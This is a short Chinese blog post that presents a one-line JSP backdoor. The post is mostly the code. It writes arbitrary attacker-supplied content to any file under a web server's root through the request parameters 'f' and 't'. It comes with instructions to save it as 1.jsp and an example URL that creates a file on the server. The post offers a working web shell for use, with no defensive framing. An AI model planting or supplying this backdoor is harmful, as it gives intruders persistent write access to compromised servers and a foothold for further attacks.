JSP一句话木马代码

2017-03-10 / 0 评论 / 1,635 阅读 / 正在检测是否收录...

03/10

代码如下:

<% 
if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("")+request.getParameter("f"))).write(request.getParameter("t").getBytes()); 
%> 

这个后门估计不用我说了吧.还是提示一下咯.保存为1.jsp 提交url!
http://localhost/1.jsp?f=1.txt&t=hello
然后:http://localhost/1.txt 就出来了内容为 hello .....

暂无标签

版权属于：

本文链接： https://www.tutuj.com/2017/03/10/jsp%E4%B8%80%E5%8F%A5%E8%AF%9D%E6%9C%A8%E9%A9%AC%E4%BB%A3%E7%A0%81.html

作品采用：《署名-非商业性使用-相同方式共享 4.0 国际 (CC BY-NC-SA 4.0) 》许可协议授权

取消

JSP一句话木马代码

评论 (0)